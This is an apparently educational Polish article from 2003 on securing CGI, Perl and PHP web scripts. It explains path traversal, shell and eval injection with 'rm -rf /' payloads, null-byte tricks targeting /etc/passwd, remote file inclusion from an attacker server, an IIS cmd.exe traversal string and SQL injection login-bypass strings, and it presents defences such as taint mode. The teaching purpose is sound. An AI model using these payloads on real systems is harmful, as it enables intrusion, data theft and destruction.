Piotr Jagielski
styczeń 2003
Oto kilka czynników, dla których szczególnie ważne jest zapewnienie bezpieczeństwa serwera www:
Common Gateway Interface to interfejs umożliwiający uruchamianie przez serwer www programów (tzw. skryptów CGI) i przesyłanie wyniku ich działania do klienta przy użyciu protokołu HTTP. Najczęstszymi zastosowaniami CGI jest dynamiczne generowanie dokumentów HTML oraz obrazków, chociaż nie są to jedyne możliwości.
Rys. 1 Ogólny zarys CGI
Interfejs CGI ustanawia środowisko, w którym operują skrypty. Składa się ono ze specjalnych zmiennych środowiskowych oraz danych dostępnych na standardowym wejściu, pobranych z części zasadniczej żądania HTTP. Zmienne środowiskowe dostarczają informacji o żądaniu (metoda żądania, typ i długość części zasadniczej itp.), serwerze Web (oprogramowanie, nazwa i adres ip, katalog z dokumentami www itp.) oraz kliencie, który (w założeniu) wysłał zadanie HTTP (nazwa, ip, używana przeglądarka).
Do tworzenia programów/skryptów CGI można użyć dowolnego języka programowania, który umożliwia czytanie z wejścia i wypisywanie na wyjście. Może to być zarówno język kompilowany, jak i interpretowany. Najpopularniejszy jest Perl wykorzystujący moduł CGI.pm.
Podatność serwerów Web na włamania przy użyciu CGI wynika z dwóch powodów. Pierwszy wynika z samej filozofii CGI - dane do skryptów dostarczane są w żądaniach HTTP, a same skrypty działają jako osobne procesy w systemie, na którym działa serwer Web. Fakt zanurzenia CGI w HTTP sprawia, ze dziedziczone są słabości specyfikacji tego protokołu. Chodzi tu o możliwość przesłania dowolnych danych do serwera www w części zasadniczej zadania. Jedyne ograniczenie narzucane przez HTTP to konieczność specjalnego zakodowania danych tak, by było możliwe ich odczytanie na dowolnej platformie sprzętowej i w dowolnym systemie operacyjnym. Inne niedociągnięcia HTTP zostaną również omówione. Natomiast fakt uruchomienia skryptu na serwerze daje dostęp np. do powłoki, której duże możliwości także powodują zagrożenia.
Drugi powód to niewłaściwe użycie języka programowania w napisanym skrypcie CGI. W przypadku Perla niebezpieczeństwo to jest szczególnie realne. Język ten zawiera dużo konstrukcji, których nieznajomość tworzy w skryptach ogromna furtkę dla włamywaczy.
Podstawowym błędem popełnianym w trakcie pisania skryptów CGI jest ufanie danym dostarczonym w żądaniu klienta. Często zakłada się, że użytkownik będzie robił to, czego się od niego oczekuje. Rozumując w ten sposób nie skupiamy się na zachowaniach niestandardowych, które mogą grozić niepożądanymi konsekwencjami.
Rozpatrzmy prosty przykład:
... $plik = $cgi->param("plik"); $sciezka = "/usr/local/httpd/pliki/$plik"; open(PLIK, $sciezka) or die(...); ...Jeśli intencją programisty było umożliwienie odczytania zawartości plików w bardzo bezpiecznym katalogu '/usr/local/httpd/pliki', nawet o starannie ustalonych prawach dostępu, to zrobienie tego w taki sposób jest bardzo złym pomysłem. Wystarczy, ze użytkownik jako zmienna plik wyśle '../../../../dowolny_plik_w_systemie' i skrypt będzie próbował wyświetlić zawartość pliku, którego nie powinien udostępniać. Jeśli nie ma do niego dostępu, można spróbować wyświetlić kod źródłowy uruchamianych skryptów CGI, które przecież muszą mieć prawa dostępu do czytania.
Powyższa sytuacja mogła mieć miejsce, gdy np. strona wyświetla listę plików dostępnych w naszym katalogu, z których każdy jest odpowiednim odnośnikiem np.
http://naszafirma.com.pl/cgi-bin/cat.cgi?plik=publiczne_dane.txt
Jest to standardowa postać URL'a w przypadku żądania wysyłanego metodą GET. Wystarczy zatem w pasku adresowym przeglądarki wpisać inny, odpowiednio zakodowany tekst.
Wspomniana z poprzednim paragrafie postać URL'a http://cos.com/skrypt.cgi?zm1=wart1&zm2=wart2 występuje w przypadku tworzeniu formularzy wysyłanych metodą GET. Wiele osób uważa, że zmiana metody na POST podnosi poziom bezpieczeństwa. Jest to mylne przekonanie. Co prawda, zmiana przekazywanych w żądaniu parametrów wymaga trochę więcej wysiłku, ale dla wprawnych włamywaczy nie stanowi żadnego problemu. Wystarczy wiedzieć, gdzie jak takie żądanie jest tworzone:
POST /cgi-bin/cat.cgi HTTP/1.1 ...... (reszta nagłówka) plik=publiczne_dane.txt ...... (reszta części zasadniczej)Teraz przy użyciu np.
telnet naszafirma.com.pl:80możemy sami skonstruować odpowiednio niestandardowe żądanie.
Inny sposób na oszukanie formularzy polega na skopiowaniu go do siebie, odpowiedniej modyfikacji i wysłaniu danych do analizującego skryptu CGI na atakowanym serwerze (pole ACTION). W protokole HTTP nie ma cech uniemożliwiających formularzowi HTML na jednym komputerze wywołanie skryptu CGI na drugim. Skrypt nie może wiarygodnie sprawdzić źródła pochodzenia formularza. Wielu programistów sprawdza w tym celu zmienną środowiska HTTP_REFERER, ustawianą przez popularne przeglądarki. Jednak istnieje wiele możliwości ominięcia takiej kontroli - np. użycie przeglądarki bardziej konfigurowalnej. Co więcej, istnieją biblioteki, takie jak libwww, które umożliwiają tworzenie i wysyłanie żądań HTTP z poziomu kodu w różnych językach programowania, także w Perlu. W żądaniach tych można w dowolny sposób ustawiać pola takie jak Referer i User-Agent. Dla włamywaczy dostarczenie dowolnych danych do skryptów CGI jest banalnie proste.
Kolejną furtką dla włamywaczy jest niewłaściwe posługiwanie się funkcjami korzystającymi z systemowej powłoki. W Perlu dostęp do niej można uzyskać na wiele różnych sposobów. Najprostsze to: funkcja system() i metoda ` `. W obu tych przypadkach przy przekazywaniu danych pobieranych od użytkownika możliwe jest dopuszczenie wywołania wybranego przez niego polecenia. Przykład:
... $server = $ENV{'QUERY_STRING'}; @scan = `nmap $server`; ...
W tym przypadku wystarczy w QUERY_STRING zakodować 'www.onet.pl; rm -rf /' lub inne groźne polecenie. Zamiast średnika możliwe jest jeszcze użycie znaku nowego wiersza, kodowanego w URL'ach jako %0a. Widać tutaj, że niebezpieczne są nie tylko dane dostarczane jako zmienne przez użytkownika, ale także zmienne środowiska
Często skrypty CGI mają za zadanie pobrać od użytkownika wyrażenie, a następnie przeszukać jakieś pliki pod jego kątem. Używany jest do tego kod:
foreach $user_pattern (@user_patterns) { foreach (@files) { print if m/$user_pattern/o; }; }(postać m/$user_pattern/o ma za zadanie przyspieszyć operację, przez tylko jednokrotną kompilację wzorca).
foreach $user_pattern (@user_patterns) { eval "foreach (\@files) { print if m/$user_pattern/o; }"; }W tym przypadku problem polega na tym, że funkcji eval(), pobierającej kawałek kodu i wykonującej go jak skrypt, można przekazać np. "/; system 'rm *'; /", co przy złej konfiguracji samego serwera kończy się dla niego tragicznie.
... $file="/etc/passwd\0.txt.cokolwiek"; die("Nie lubimy hakerów") if($file eq "/etc/passwd"); if (-e $file){ open (FILE, ">$file"); } ....Pierwsze sprawdzenie ($file eq "/etc/passwd") to konstrukcja samego Perla, natomiast druga (-e $file) powoduje wywołanie funkcji systemowej, więc powiedzie się. Kod ten, przy odpowiednich uprawnieniach, otworzyłby '/etc/passwd' do pisania.
Często programiści skryptów CGI stosują następujące rozumowanie: kod
$strona= $sciezka.$nazwa.".html";zapewnia, ze otrzymana zmienna kończy się '.html', niezależnie od wartości zmiennej $nazwa. Jest to oczywiście nieprawda. Dlatego odnośnik
http://mojafirma.com.pl/cgi-bin/strona.cgi?nazwa=1
który ma wyświetlać stronę zapisana w pliku 1.html, może posłużyć do wyświetlenia zawartości jakiegoś innego pliku.
Następna dziura w wielu aplikacjach pisanych w Perlu jest wynikiem zapominania o specjalnej postaci funkcji open(). W Perlu wbudowano w nią przekierowanie wejscia/wyjscia. Polecenie
open(PLIK, "$polecenie|")otwiera potok do wywoływanego polecenia i pozwala czytać jego wyjście. Polecenie jest wtedy wywoływane przez powłokę. Przy przekazaniu zmiennej z 'surowymi' danymi użytkownika do funkcji open() uzyskujemy więc omówiony wcześniej, niebezpieczny dostęp do powłoki i umożliwia na zdalne wykonywanie poleceń (ang. remote execution).
Rozważmy nieco bardziej złożone zabezpieczenie:
$plik="/bardzo/bezpieczny/katalog/$dane" if(!(-e $plik) die("Nie lubimy hakerów") open(FILE, $plik)W tym przypadku na jako dane moglibyśmy przekazać '/../../../bin/ls|', jednak sprawdzenie '-e $plik' nie powiedzie się, gdyż system będzie szukał pliku zakończonego znakiem '|'. Co jednak, gdy przekażemy '../../../bin/ls\0|' ? Wówczas '-e $plik', czyli sprawdzenie systemowe, dostanie de facto '../../../bin/ls' co zakończy się powodzeniem. Na szczęście w wołaniu powłoki zostaną również pominięte dane po '\0', czyli parametry polecenia, więc tym sposobem wypiszemy co najwyżej zawartość katalogu, w którym znajduje się skrypt.
s/([\&;\`'\\\|"*?~<>^\(\)\[\]\{\}\$\n\r])/\\$1/g;Często jednak pomijane są same ukośniki. Czym to grozi? Rozważmy przykład:
my $dane=$cgi->param("dane"); ( $dane ) =~ s/([\&;\`'\|"*?~<>^\(\)\[\]\{\}\$\n\r])/\\$1/g; (bez ukośnika)Dostarczone więc `rm -rf /` zostanie zmienione na niegroźne \`rm -rf /\`. Jeśli jednak dostarczymy \`rm -rf /\`, to wyrażenie przkształci się do \\`rm -rf /\\`, co zmieni znaczenie samych ukośników, a metaznakom ` nadal pozostawione będzie standardowe, niebezpieczne znaczenie.
Aby zwiększyć bezpieczeństwo zawsze pamiętać, by odpowiednio przetworzyć
dostarczone do skryptu z zewnątrz dane. W Perlu do tego celu służy tzw. tryb
kontroli skażeń (ang. taint mode). Zadaniem tego trybu jest niedopuszczenie do
tego, aby jakiekolwiek dane spoza aplikacji miały wpływ na cokolwiek wewnątrz
aplikacji. Interpreter Perla nie zezwoli na to, aby dane wprowadzone przez
użytkownika zostały poddane działaniu instrukcji eval, przetworzone przez
powłokę lub użyte do zmiany plików i innych procesów przez funkcje systemowe.
Natomiast np. otwarcie pliku ze skażoną nazwą tylko do czytania jest możliwe.
Aby skrypt uruchamiał się w tym trybie należy dla wersji 4 Perla użyć
specjalnej wersji interpretera, wpisując w pierwszej linii:
#!/usr/bin/taintperlNatomiast w od wersji 5 wystarczy użyć specjalnego przełącznika -T:
#!/usr/bin/perl -wT
Gdy Perl działa w trybie kontroli skażeń, każda zmienna jest monitorowana właśnie pod kątem skażenia. Za skażone Perl uznaje wszelkie dane pochodzące spoza kodu - dla skryptów CGI są to więc wszystkie informacje uzyskane od użytkownika. Ponadto każde przypisanie zmiennej skażonej przenosi skażenie na zmienną, na którą przypisujemy.
Oczywiście jest możliwe odkażenie zmiennej, jednak powinno się ono odbywać wraz ze sprawdzeniem, czy dane na niej przechowywane są naprawdę bezpieczne - dopasowanie do wyrażenia regularnego:
my( $nazwa_pliku ) = $cgi->param("nazwa_pliku") =~ /^([\w.]+)$/;Dokładniej - odkażone są kolejne zwracane na pseudozmiennych $1, $2... dopasowania, jednak ponieważ operator =~ zwraca (w kontekście listy) listę dopasowań, można użyć również powyższej konstrukcji.
W czasie pracy w trybie kontroli skażeń należy zwrócić uwagę na to, że:
$zmienna =~ s/\0//g;
Aby bezpiecznie wywołać inne polecenie lub program, najlepiej zrobić to bez pośrednictwa powłoki, metodą fork i exec. W przypadku czytania z polecenia można użyć specjalnej postaci open POTOK, "-|", która jawnie nakazuje rozwidlenie i utworzenie procesu potomnego. Przykład:
my $NMAP = '/usr/bin/nmap'; my $pid = open POTOK, "-|"; die "Nie można rozwidlić $!" unless defined $pid; unless ($pid) { exec $NMAP, $server or die "Nie można utworzyć potoku do nmap"; }Teraz przekazanie parametru do polecenia nmap odbywa się bezpośrednio.
W Perlu funkcji open nie trzeba przekazywać osobnego parametru mówiącego o trybie, w jakim ma być otwarty plik. Tryb można zaszyć w łańcuchu, który określa nazwę pliku, przy użyciu dodatkowych znaków:
<nazwa tylko wejście >nazwa tylko wyjście >>nazwa wyjście z dopisywaniem itd..Standardowo, jeśli podano tylko nazwę, Perl próbuje otworzyć plik tylko do odczytu. Jednak, co było omówione wcześniej, istnieje niebezpieczeństwo dodania znaku '|' i otwarcia potoku do zewnętrzego polecenia. Ten trik nie byłby możliwy, gdyby do open przekazać jeden dodatkowy znak '<', mówiący że otwarcie ma być tylko do czytania i to bez przekierowania wejścia/wyjścia.
$mail_to = $cgi->param("adres_email"); unless ($mail_to =~ /^[\w.+-]+\@[\w.+-]+$/) { die 'Adres nie jest w formie ktos@gdzies.com'; }(To dopasowanie nie uwzględnia innych form adresów zgodnych z RFC 822, ale do podstawowej funkcjonalności najzupełniej wystarcza).
cgiwrap to wrapper napisany przez Nathana Neulingera. Został zaprojektowany do użycia w sieciach z dużą ilością użytkowników, którzy mogą pisać własne skrypty. Do uruchomienia skryptów nie używa standardowego użytkownika nobody, który uniemożliwia sprawdzenie czyj skrypt umożliwił atak, ale działa z uprawnieniami swojego właściciela.
Jest to wrapper silnie zintegrowany z serwerem Apache o funkcjonalności zbliżonej do cgiwrap. Obsługuje nie tylko skrypty CGI, ale też SSI (Server-Side Includes), które także są poważnym źródłem niebezpieczeństw. Swoje logi zapisuje w pliku podanym podczas kompliacji Apache'a w opcji --suexec-logfile
PHP: Hypertext Preprocessor to język programowania zaprojektowany specjalnie do generowania stron w HTML'u. Kod osadzany jest w samych dokumentach. W momencie przyjęcia od klienta żądania obejrzenia takiej strony, zostaje ona przetworzona przez specjalny moduł serwera www, który tworzy wynikowy kod HTML'a i odsyła stronę.
Wiele problemów ze skryptami można przenieść na grunt PHP'a. Skupimy się zatem na innych własnościach
PHP został wyposażony w szereg funkcjonalności, mających za celu ułatwienie programiście bądź projektantowi Web życia. Z perspektywy bezpieczeństwa systemu nie zawsze są one pożądane. Jedną z takich funkcjonalności jest obsługa zdalnych plików. Oto kod służący do otwierania plików:
<?php if (!$fd = fopen("$filename", "r")) echo ("Nie można otworzyć pliku!<BR>\n"); ?>Otóż w ten sposób można otworzyć nie tylko plik lokalny, ale również znajdujący się na innym serwerze www/ftp. Znana sztuczka polega na zaatakowaniu IIS'a przez przekazanie 'http://serwer/..%c1%1c../winnt/system32/cmd.exe?/d+dir+c:\'.
Sytuacja staje się bardziej ciekawa, jeśli w skrypcie w sposób nieprzemyślany zostanie użyta jedna z funkcji include(), require(), include_once(), require_once(). Powiedzmy:
<?php include ($kat_bibliotek . "/languages.php"); ?>Jeśli włamywacz w jakiś sposób będzie mógł zmienić zmienną $kat_bibliotek, umożliwimy mu uruchomienie jego własnego kodu. Wystarczy, że umieści u siebie plik languages.php z kodem np.:
<?php passthru("/bin/ls /etc"); ?>a następnie ustawi zmienną $kat_bibliotek na 'http://serwer.hakera.pl/' to funkcja include() wyśle żądanie do jego serwera i włączy plik do swojego kodu, wyświetlając zawartość katalogu etc.
<?PHP if(!isset($mainfile)) { include("mainfile.php"); } if(!isset($sid) && !isset($tid)) { exit(); } if($save) { cookiedecode($user); mysql_query("update users set umode='$mode', uorder='$order', thold='$thold' where uid='$cookie[0]'"); getusrinfo($user); $info = base64_encode("$userinfo[uid]:$userinfo[uname]:". "$userinfo[pass]:$userinfo[storynum]:$userinfo[umode]:". "$userinfo[uorder]:$userinfo[thold]:$userinfo[noscore]"); setcookie("user","$info",time()+$cookieusrtime); } function cookiedecode($user) { global $cookie; $user = base64_decode($user); $cookie = explode(":", $user); return $cookie; } >Jak widać, autoryzacja użytkowników jest wspomagana użyciem cookie'sów. Co więcej, zmienne $user, $mode, $order, $thold, a także $save (!) są pobierane z zewnątrz, a jedyne zabezbieczenie stanowi funkcja cookiedecode(), która koduje wartość $user do późniejszego umieszczenia w cookie.
[haker@phpnuke.org] echo -n "aaa' or uid='1:" | uuencode -m -f begin-base64 600 f YWFhJyBvciB1aWQ9JzE6 ====(Polecenie uuencode pozwala za zakodowanie danych kodowaniem base64, czyli takim, jakie zostało użyte w funkcji kodującej cookie).
SQL injection to typ ataku, który korzysta z dziur w aplikacjach Web'owych. Wykorzystuje wywołanie zapytania SQL w aplikacji w której nie przetwarza się danych uzyskanych od użytkownika lub stosuje opisaną wcześniej sztuczkę z dekodowaniem cookie'sów. Najczęściej polega na takim skonstruowaniu formuły w klauzuli WHERE zapytania, by sprawdzanie wprowadzonych danych nie miało znaczenia. Rozważmy np. autoryzację użytkowników:
$login = Request.Form("login") $password = Request.Form("password") $query = 'SELECT $field FROM $database WHERE Login=' . $login .'AND Password= '. $password . ';';Jeśli nie sprawdzamy danych pod kątem metaznaków (konkretnie - '), sytuacja może wyglądać bardzo źle. Najprostszy trik to coś w stylu:
login : ' or ''=' password : ' or ''='Sklejone zapytanie wygląda zatem tak:
SELECT $field FROM $database WHERE Login='' or ''='' AND Password='' or ''='';Oczywiście ''='', więc warunek z klauzuli WHERE jest zawsze prawdziwy.
Co jednak, gdy aplikacja sprawdza, czy zapytanie zwróciło jeden wiersz i tylko wtedy dokonuje autoryzacji? Wystarczy wtedy znać albo nazwę użytkownika albo hasło:
login : 'Maurycy' and ''='' or ''=' password : ' or ''='Mamy zapytanie:
SELECT $field FROM $database WHERE Login='Maurycy' and ''='' or ''='' AND Password='' or ''='';Inny sposób to wykorzystanie SQL'owego komentarza:
login : '/* password : */ OR ''='